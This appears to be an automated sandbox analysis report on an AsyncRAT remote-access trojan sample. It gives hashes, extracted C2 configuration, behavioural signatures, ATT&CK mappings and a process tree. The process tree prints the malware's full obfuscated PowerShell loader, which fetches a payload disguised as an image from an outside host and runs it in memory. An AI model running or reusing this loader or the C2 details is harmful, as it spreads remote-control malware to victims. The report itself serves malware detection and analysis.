asyncrat | 33964d980414a6081bf80ceff2713eec58bc64deeaa141533f8062f6b7600607

General

Target
WMIEventLogs.js
Size 4.4MB
Sample251228-pp6dlaav6c
SHA256 33964d980414a6081bf80ceff2713eec58bc64deeaa141533f8062f6b7600607
MD5 3e674478f602adf2c050abca107a4160
SHA1 ce23c3c314066c09dc31eb7fe7e8e84a13a815f0
SHA512 88433013419854107fb51d9c19a464b805930a9d664a9fdb67f714677c75d198491c85ab77dea9c1eb3aade855f16e13d1e2659018366d817cb577c7563d48ac
SSDEEP 384:kkBFKnYuQOkipMIMa7Zhbj9LQULkOOdXpmOj:dj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

oct respaldo discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Oct Respaldo

C2

securityhealthservice.ydns.eu:1000

Mutex

OIdsnjfjduUydsdbUDkf

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3812	4820	powershell.exe	77

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3812	powershell.exe
3	3812	powershell.exe
4	3812	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3812	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3812 set thread context of 4600	3812	powershell.exe	80

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3812	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3812 wrote to memory of 4600	3812	powershell.exe	80
PID 3812 wrote to memory of 4600	3812	powershell.exe	80
PID 3812 wrote to memory of 4600	3812	powershell.exe	80
PID 3812 wrote to memory of 4600	3812	powershell.exe	80
PID 3812 wrote to memory of 4600	3812	powershell.exe	80

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\WMIEventLogs.js
1⤵
PID:4860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JAByAGUAZABvAHUAYgB0AGEAYgBsAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcgBlAGQAbwB1AGIAdABhAGIAbABlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQA7ACQAcgBlAGQAbwB1AGIAdABhAGIAbABlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAcgBlAGQAbwB1AGIAdABhAGIAbABlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAtAEwAYQBuAGcAdQBhAGcAZQAiACwAIAAiAGUAbgAtAFUAUwAsAGUAbgA7AHEAPQAwAC4AOQAiACkAOwAkAHAAdQBzAGgAYwBoAGEAaQByAHMAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AZABvAHcAbgBsAG8AYQBkAC8AbwBwAHQAaQBtAGkAegBlAGQAXwBtAHMAaQBfADIAMAAyADUAMQAyADIANwAvAG8AcAB0AGkAbQBpAHoAZQBkAF8ATQBTAEkALgBwAG4AZwAnADsAJABIAGEAcgBwAHkAIAA9ACAAJAByAGUAZABvAHUAYgB0AGEAYgBsAGUALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAcAB1AHMAaABjAGgAYQBpAHIAcwApADsAJABjAG8AcwBzAGkAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQASABhAHIAcAB5ACkAOwBpAGYAIAAoACQAYwBvAHMAcwBpAGMAIAAtAG0AYQB0AGMAaAAgACcAQgBhAHMAZQBTAHQAYQByAHQALQAoAC4AKgA/ACkALQBCAGEAcwBlAEUAbgBkACcAKQAgAHsAIAAgACQAZgBhAGwAbABhAGcAZQAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0AOwAgACAAJABDAGgAcgBpAHMAdAB5AG4AIAA9ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZgBhAGwAbABhAGcAZQApACkAOwAgACAAJABhAHIAZwBzAEIAYQBzAGUANgA0ACAAPQAgACcASgB3AEEAOQBBAEQAMABBAFEAUQBCAGsAQQBEAFEAQQBVAGcAQgB1AEEARQB3AEEAZQBnAEEANQBBAEUAYwBBAFoAQQBCADEAQQBGAFkAQQBWAHcAQgBpAEEARABFAEEAVABnAEEAeQBBAEcASQBBAFIAUQBBAHgAQQBHADAAQQBWAGcAQgAyAEEARQBVAEEAUgB3AEIAawBBAEcAdwBBAFEAZwBCAHUAQQBHAE0AQQBDAGcAQQBOAEEARwBnAEEAVABnAEIASABBAEUAMABBAGUAUQBCAFYAQQBGAE0AQQBXAFEAQQB5AEEARgBZAEEAVgB3AEIAawBBAEUAOABBAE8AUQBCADUAQQBGAG8AQQBlAFEAQQA1AEEARwAwAEEAVABBAEIANgBBAEQAVQBBAFIAdwBCAGEAQQBIAEkAQQBUAGcAQgBYAEEARwBRAEEAYQB3AEEAMQBBAEYATQBBAFkAUQBCADYAQQBFADQAQQBTAEEAQgBqAEEASABjAEEAUgBnAEEAeQBBAEcATQBBAGUAUQBCAFcAQQBHADAAQQBaAEEAQgB3AEEARQBvAEEAUwBBAEIAYQBBAEgAbwBBAFoAQQBBAHoAQQBHAEkAQQBhAHcAQQAxAEEARgBjAEEAWQBRAEEAegBBAEUASQBBAFMAQQBCAGgAQQBIAGMAQQBVAGcAQQB6AEEARwBNAEEAZABnAEIAbwBBAEQASQBBAFQAQQBCADIAQQBHADgAQQBSAEEAQgBqAEEARABBAEEAVQBnAEIASQBBAEcARQBBAEoAdwBBAHMAQQBDAGMAQQBKAHcAQQBzAEEAQwBjAEEAUQB3AEEANgBBAEYAdwBBAFYAUQBCAHoAQQBHAFUAQQBjAGcAQgB6AEEARgB3AEEAVQBBAEIAMQBBAEcASQBBAGIAQQBCAHAAQQBHAE0AQQBYAEEAQgBFAEEARwA4AEEAZAB3AEIAdQBBAEcAdwBBAGIAdwBCAGgAQQBHAFEAQQBjAHcAQgBjAEEAQwBjAEEATABBAEEAbgBBAEUANABBAFkAUQBCAHQAQQBHAFUAQQBYAHcAQgBHAEEARwBrAEEAYgBBAEIAbABBAEMAYwBBAEwAQQBBAG4AQQBFADAAQQBjAHcAQgBpAEEASABVAEEAYQBRAEIAcwBBAEcAUQBBAEoAdwBBAHMAQQBDAGMAQQBKAHcAQQBzAEEAQwBjAEEAVABRAEIAegBBAEcASQBBAGQAUQBCAHAAQQBHAHcAQQBaAEEAQQBuAEEAQwB3AEEASgB3AEEAbgBBAEMAdwBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEASABNAEEATwBnAEEAdgBBAEMAOABBAFkAdwBCAGsAQQBHADQAQQBMAGcAQgBrAEEARwBrAEEAYwB3AEIAagBBAEcAOABBAGMAZwBCAGsAQQBHAEUAQQBjAEEAQgB3AEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBAEwAdwBCAGgAQQBIAFEAQQBkAEEAQgBoAEEARwBNAEEAYQBBAEIAdABBAEcAVQBBAGIAZwBCADAAQQBIAE0AQQBMAHcAQQB4AEEARABFAEEATwBBAEEAeABBAEQATQBBAE4AdwBBADQAQQBEAGsAQQBNAEEAQQB5AEEARABFAEEATQBRAEEAMgBBAEQAQQBBAE0AUQBBADIAQQBEAEkAQQBNAGcAQQB5AEEAQwA4AEEATQBRAEEAMABBAEQATQBBAE8AQQBBADMAQQBEAEkAQQBNAGcAQQAyAEEARABRAEEATgBBAEEAeQBBAEQASQBBAE0AdwBBADEAQQBEAGsAQQBNAEEAQQAwAEEARABNAEEATQBBAEEAdgBBAEgATQBBAGEAQQBCAHAAQQBHADAAQQBMAGcAQgBxAEEASABNAEEAUAB3AEIAbABBAEgAZwBBAFAAUQBBADIAQQBEAGsAQQBNAFEAQQAzAEEARwBVAEEAWQBRAEEAMgBBAEQAQQBBAEoAZwBCAHAAQQBIAE0AQQBQAFEAQQAyAEEARABrAEEATQBRAEEAMgBBAEQAawBBAE8AQQBCAGwAQQBEAEEAQQBKAGcAQgBvAEEARwAwAEEAUABRAEIAbABBAEQAQQBBAFoAQQBBAHkAQQBHAEkAQQBZAFEAQgBoAEEARwBNAEEATgBRAEEAeQBBAEcARQBBAE8AQQBCAGgAQQBHAFkAQQBOAFEAQgBpAEEARABZAEEAWgBRAEIAawBBAEQAawBBAE4AQQBBAHcAQQBEAFUAQQBNAGcAQgBqAEEARwBZAEEATgBRAEEAMABBAEQAZwBBAE0AdwBBADIAQQBHAFUAQQBNAGcAQgBsAEEARwBJAEEATQBRAEIAagBBAEQARQBBAFkAZwBBAHcAQQBEAGsAQQBaAGcAQQAzAEEARABZAEEATgBBAEEANQBBAEQAVQBBAE4AdwBBAHoAQQBHAFUAQQBaAGcAQQAxAEEARABFAEEATQBnAEEAMQBBAEcARQBBAFoAUQBBAHcAQQBEAEEAQQBaAFEAQQB3AEEARwBVAEEATwBRAEEAMgBBAEMAWQBBAEoAdwBBAHMAQQBDAGMAQQBRAHcAQQA2AEEARgB3AEEAVgBRAEIAegBBAEcAVQBBAGMAZwBCAHoAQQBGAHcAQQBVAEEAQgAxAEEARwBJAEEAYgBBAEIAcABBAEcATQBBAFgAQQBCAEUAQQBHADgAQQBkAHcAQgB1AEEARwB3AEEAYgB3AEIAaABBAEcAUQBBAGMAdwBCAGMAQQBDAGMAQQBMAEEAQQBuAEEARQA0AEEAWQBRAEIAdABBAEcAVQBBAFgAdwBCAEcAQQBHAGsAQQBiAEEAQgBsAEEAQwBjAEEATABBAEEAbgBBAEcAbwBBAGMAdwBBAG4AQQBDAHcAQQBKAHcAQQB4AEEAQwBjAEEATABBAEEAbgBBAEMAYwBBAEwAQQBBAG4AQQBGAFEAQQBZAFEAQgB6AEEARwBzAEEAWAB3AEIATwBBAEcARQBBAGIAUQBCAGwAQQBDAGMAQQBMAEEAQQBuAEEARABBAEEASgB3AEEAcwBBAEMAYwBBAE0AQQBBAG4AQQBDAHcAQQBKAHcAQQBuAEEAQwB3AEEASgB3AEEAbgBBAEEAPQA9ACcAOwAgACAAJABhAHIAZwBzAFMAdAByAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGEAcgBnAHMAQgBhAHMAZQA2ADQAKQApADsAIAAgACQAYQByAGcAcwAgAD0AIAAkAGEAcgBnAHMAUwB0AHIAaQBuAGcAIAAtAHMAcABsAGkAdAAgACcALAAnACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBUAHIAaQBtACgAJwAnACcAIgAnACAAKQAgAH0AOwAgACAAWwBTAG8AZgB0AHcAYQByAGUALgBQAHIAbwBnAHIAYQBtAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACIATQBhAGkAbgAiACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABhAHIAZwBzACkAOwB9AA==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3812
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4600

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_uio1rsfy.vko.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uio1rsfy.vko.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3812-0-0x00000225FDFF0000-0x00000225FE000000-memory.dmp

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memory/3812-7-0x00000225FF650000-0x00000225FF672000-memory.dmp

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memory/3812-8-0x00000225FDFF0000-0x00000225FE000000-memory.dmp

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memory/3812-9-0x00000225FFB50000-0x00000225FFBC0000-memory.dmp

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memory/4600-10-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/4600-13-0x0000000005A00000-0x0000000005A10000-memory.dmp

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memory/4600-14-0x0000000005A00000-0x0000000005A10000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads